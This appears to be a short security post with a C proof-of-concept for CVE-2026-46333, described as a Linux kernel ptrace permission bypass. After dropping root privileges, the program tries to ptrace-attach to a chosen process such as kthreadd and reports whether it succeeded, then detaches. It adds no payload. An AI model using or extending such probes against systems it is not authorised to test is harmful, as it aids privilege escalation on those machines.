CVE-2026-46333 Linux Kernel ptrace权限绕过漏洞

/* * PoC for CVE-2026-46333: Linux Kernel ptrace Permission Bypass * This code attempts to ptrace a kernel thread (e.g., kthreadd) after * dropping privileges, demonstrating the bypass of the 'drop capabilities' * model due to the flawed 'get_dumpable()' logic. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ptrace.h> #include <sys/types.h> #include <errno.h> int main(int argc, char *argv[]) { pid_t target_pid; if (argc < 2) { printf("Usage: %s <pid>\n", argv[0]); printf("Example: %s 2 (for kthreadd)\n", argv[0]); return 1; } target_pid = atoi(argv[1]); printf("[+] Attempting to ptrace attach to PID %d...\n", target_pid); // Simulate dropping privileges to demonstrate the bypass // Assuming the PoC is run as root initially to show the flaw if (getuid() == 0) { printf("[+] Running as root. Dropping privileges to 'nobody' (uid 65534)...\n"); if (setuid(65534) != 0) { perror("[-] setuid failed"); return 1; } } printf("[+] Current UID: %d\n", getuid()); // Attempt to attach to the target process if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == -1) { perror("[-] ptrace failed"); printf("[-] Access denied or error occurred.\n"); return 1; } printf("[+] SUCCESS: ptrace attach succeeded!\n"); printf("[+] This indicates a potential bypass of the capability check.\n"); // Detach ptrace(PTRACE_DETACH, target_pid, NULL, NULL); return 0; }